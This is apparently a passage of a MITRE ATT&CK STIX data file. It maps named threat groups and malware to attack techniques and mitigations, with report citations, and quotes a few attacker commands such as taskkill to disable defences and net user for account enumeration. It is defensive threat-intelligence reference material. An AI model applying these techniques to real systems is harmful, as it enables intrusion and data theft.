            "modified": "2019-06-28T14:59:17.521Z",
            "created": "2017-05-31T21:33:27.071Z"
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            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can attempt to disable security features in Microsoft Office and Windows Defender using the <code>taskkill</code> command.(Citation: Unit 42 Gorgon Group Aug 2018)",
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                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[APT19](https://attack.mitre.org/groups/G0073) used HTTP for C2 communications. [APT19](https://attack.mitre.org/groups/G0073) also used an HTTP malware variant to communicate over HTTP for C2.(Citation: FireEye APT19)(Citation: Unit 42 C0d0so0 Jan 2016)",
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html",
                    "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.",
                    "source_name": "FireEye APT19"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/",
                    "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.",
                    "source_name": "Unit 42 C0d0so0 Jan 2016"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:05:25.628Z",
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            "relationship_type": "uses",
            "target_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
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                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                }
            ],
            "description": "(Citation: ESET Gazer Aug 2017)",
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            "modified": "2019-07-14T21:04:45.636Z",
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            ],
            "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
            "relationship_type": "uses",
            "target_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "source_name": "Scarlet Mimic Jan 2016"
                }
            ],
            "description": "(Citation: Scarlet Mimic Jan 2016)",
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            "description": "[APT18](https://attack.mitre.org/groups/G0026) actors leverage legitimate credentials to log into external remote services.(Citation: RSA2017 Detect and Respond Adair)",
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            ],
            "external_references": [
                {
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                    "description": "Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.",
                    "source_name": "RSA2017 Detect and Respond Adair"
                }
            ],
            "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "type": "relationship",
            "modified": "2019-05-30T18:05:32.675Z",
            "created": "2017-05-31T21:33:27.060Z"
        },
        {
            "id": "relationship--04e4f0d1-32a9-4d64-a733-3316b0bf2740",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A module in [CozyCar](https://attack.mitre.org/software/S0046) allows arbitrary commands to be executed by invoking <code>C:\\Windows\\System32\\cmd.exe</code>.(Citation: F-Secure CozyDuke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure CozyDuke",
                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf"
                }
            ],
            "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-11-23T17:03:38.566Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--38a72b32-dc04-493d-8b92-31174c32f3ed",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT1](https://attack.mitre.org/groups/G0006) has collected files from a local victim.(Citation: Mandiant APT1)",
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            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.168Z",
            "created": "2017-05-31T21:33:27.036Z"
        },
        {
            "id": "relationship--5a491b91-739f-498b-b8f2-b14aaea07893",
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            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--0472af99-f25c-4abe-9fce-010fa3450e72",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
            "type": "relationship",
            "modified": "2020-02-04T12:55:04.030Z",
            "created": "2017-05-31T21:33:27.026Z"
        },
        {
            "id": "relationship--c4962ae6-91e2-407d-9f42-aa0381574476",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following commands following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to enumerate user accounts: <code>net user >> %temp%\\download</code> <code>net user /domain >> %temp%\\download</code>(Citation: FireEye admin@338)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "source_name": "FireEye admin@338"
                }
            ],
            "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-03-18T19:23:15.492Z",
            "created": "2017-05-31T21:33:27.052Z"
        },
        {
            "id": "relationship--a0f1273a-e422-4801-a911-e7cb223ebea2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can list connected devices.(Citation: ESET Sednit Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "type": "relationship",
            "modified": "2020-03-16T15:53:20.445Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f966726b-ff17-4769-8514-e76be900aafa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADCALL](https://attack.mitre.org/software/S0245) collects the network adapter information.(Citation: US-CERT BADCALL)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT BADCALL",
                    "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF"
                }
            ],
            "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-27T20:35:51.528Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5ccd4b15-ef11-4b89-b0e1-4dd714fa2fb5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "source_name": "FireEye APT32 May 2017"
                }
            ],
            "description": "(Citation: FireEye APT32 May 2017)",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.959Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f993e545-2d09-48c1-9b82-110ab798bdcf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) compromised legitimate organizations' websites to create watering holes to compromise victims.(Citation: US-CERT TA18-074A)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.413Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "description": "[APT29](https://attack.mitre.org/groups/G0016) has used multiple software exploits for common client software, like Microsoft Word and Adobe Reader, to gain code execution as part of.(Citation: F-Secure The Dukes)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "source_name": "F-Secure The Dukes"
                }
            ],
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            "description": "[Turla](https://attack.mitre.org/groups/G0010) may attempt to connect to systems within a victim's network using <code>net use</code> commands and a predefined list or collection of passwords.(Citation: Kaspersky Turla)",
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                {
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                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
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            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
            "type": "relationship",
            "modified": "2020-03-24T20:13:40.075Z",
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        },
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            "relationship_type": "uses",
            "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                }
            ],
            "description": "(Citation: Palo Alto OilRig May 2016)(Citation: FireEye APT34 Dec 2017)",
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            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can download a remote access tool, [ShiftyBug](https://attack.mitre.org/software/S0294), and inject into another process.(Citation: Unit 42 Gorgon Group Aug 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662",
            "type": "relationship",
            "modified": "2020-03-16T16:34:49.826Z",
            "created": "2018-10-17T00:14:20.652Z"
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            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used scheduled tasks to establish persistence for various malware it uses, including downloaders known as HARDTACK and SHIPBREAD and [FrameworkPOS](https://attack.mitre.org/software/S0503).(Citation: FireEye FIN6 April 2016)",
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                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
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            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-10-19T18:18:50.020Z",
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            "source_ref": "course-of-action--f6469191-1814-4dbe-a081-2a6daf83a10b",
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            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
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            "source_ref": "course-of-action--c7e49501-6021-414f-bfa1-94519d8ec314",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534",
            "type": "relationship",
            "modified": "2020-04-29T14:37:59.726Z",
            "created": "2018-10-17T00:14:20.652Z"
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        {
            "id": "relationship--6287195f-bb8e-45e2-8701-76ec2c5e7a60",
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            ],
            "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142",
            "relationship_type": "uses",
            "target_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b",
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                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "description": "(Citation: Rancor Unit42 June 2018)",
            "type": "relationship",
            "modified": "2019-04-25T12:37:45.657Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ff93eedd-e788-4541-9a9b-ccead3df0d13",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-08-13T20:02:49.814Z",
            "created": "2017-05-31T21:33:27.029Z"
        },
        {
            "id": "relationship--a804782a-fc22-43ab-a561-63007284bdf9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Catchamas](https://attack.mitre.org/software/S0261) steals data stored in the clipboard.(Citation: Symantec Catchamas April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Catchamas April 2018",
                    "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.",
                    "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"
                }
            ],
            "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "type": "relationship",
            "modified": "2020-03-16T16:28:15.970Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f49125d8-1107-4798-8f6a-d1c6ce6f1de3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) removes batch files to reduce fingerprint on the system as well as deletes the CAB file that gets encoded upon infection.(Citation: McAfee Honeybee)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.518Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f75caad1-161a-4833-b3ec-f4538e1603fe",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FinFisher](https://attack.mitre.org/software/S0182) is heavily obfuscated in many ways, including through the use of spaghetti code in its functions in an effort to confuse disassembly programs. It also uses a custom XOR algorithm to obfuscate code.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.finfisher.com/FinFisher/index.html",
                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
                    "source_name": "FinFisher Citation"
                },
                {
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/",
                    "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.",
                    "source_name": "Microsoft FinFisher March 2018"
                }
            ],
            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-08-12T17:30:07.293Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--206a6a93-9858-4f0b-b389-af1c28502118",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) dropped and executed SecretsDump to dump password hashes.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "source_name": "US-CERT APT Energy Oct 2017",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "type": "relationship",
            "modified": "2020-03-25T16:00:35.796Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e1d0ec8e-0970-4737-9605-1cf8a3ba1371",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can gather network share information.(Citation: ESET InvisiMole June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2018",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "type": "relationship",
            "modified": "2020-03-17T00:09:25.827Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1c99209f-c152-4cc5-aa66-63b8637eaa47",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) adds collected files to a temp.zip file saved in the %temp% folder, then base64 encodes it and uploads it to control server.(Citation: McAfee Honeybee)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.490Z",
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        },
        {
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            "description": "[Naid](https://attack.mitre.org/software/S0205) collects a unique identifier (UID) from a compromised host.(Citation: Symantec Naid June 2012)",
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            ],
            "external_references": [
                {
                    "source_name": "Symantec Naid June 2012",
                    "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1"
        },
        {
            "id": "relationship--2305a634-b226-4da2-a766-bec5458f9447",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments to recipients.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)\t ",
            "object_marking_refs": [
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            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/",
                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 MuddyWater Nov 2017"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                },
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                },
                {
                    "source_name": "ClearSky MuddyWater June 2019",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf",
                    "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020."
                },
                {
                    "source_name": "Anomali Static Kitten February 2021",
                    "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies",
                    "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021."
                },
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[MacSpy](https://attack.mitre.org/software/S0282) stores itself in <code>~/Library/.DS_Stores/</code> (Citation: alientvault macspy)",
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                {
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                    "url": "https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service"
                }
            ],
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            "relationship_type": "mitigates",
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            "type": "relationship",
            "modified": "2020-03-15T01:05:08.927Z",
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            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware can list a victim's logical drives and the type, as well the total/free space of the fixed devices. Other malware can list a directory's contents.(Citation: Unit 42 Magic Hound Feb 2017)",
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                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-09-09T19:21:42.185Z",
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            "type": "relationship",
            "modified": "2020-01-24T13:51:48.171Z",
            "created": "2018-01-16T16:13:52.465Z"
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            "description": "[CrossRAT](https://attack.mitre.org/software/S0235) can list all files on a system.",
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                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                }
            ],
            "description": "(Citation: FireEye APT35 2018)",
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            "description": "[Turla](https://attack.mitre.org/groups/G0010) attempted to trick targets into clicking on a link featuring a seemingly legitimate domain from Adobe.com to download their malware and gain initial access.(Citation: ESET Turla Mosquito Jan 2018)",
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                {
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                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "source_name": "ESET Turla Mosquito Jan 2018"
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            ],
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            "description": "[RawPOS](https://attack.mitre.org/software/S0169) dumps memory from specific processes on a victim system, parses the dumped files, and scrapes them for credit card data.(Citation: Kroll RawPOS Jan 2017)(Citation: TrendMicro RawPOS April 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)",
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                    "source_name": "Kroll RawPOS Jan 2017"
                },
                {
                    "url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf",
                    "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.",
                    "source_name": "TrendMicro RawPOS April 2015"
                },
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
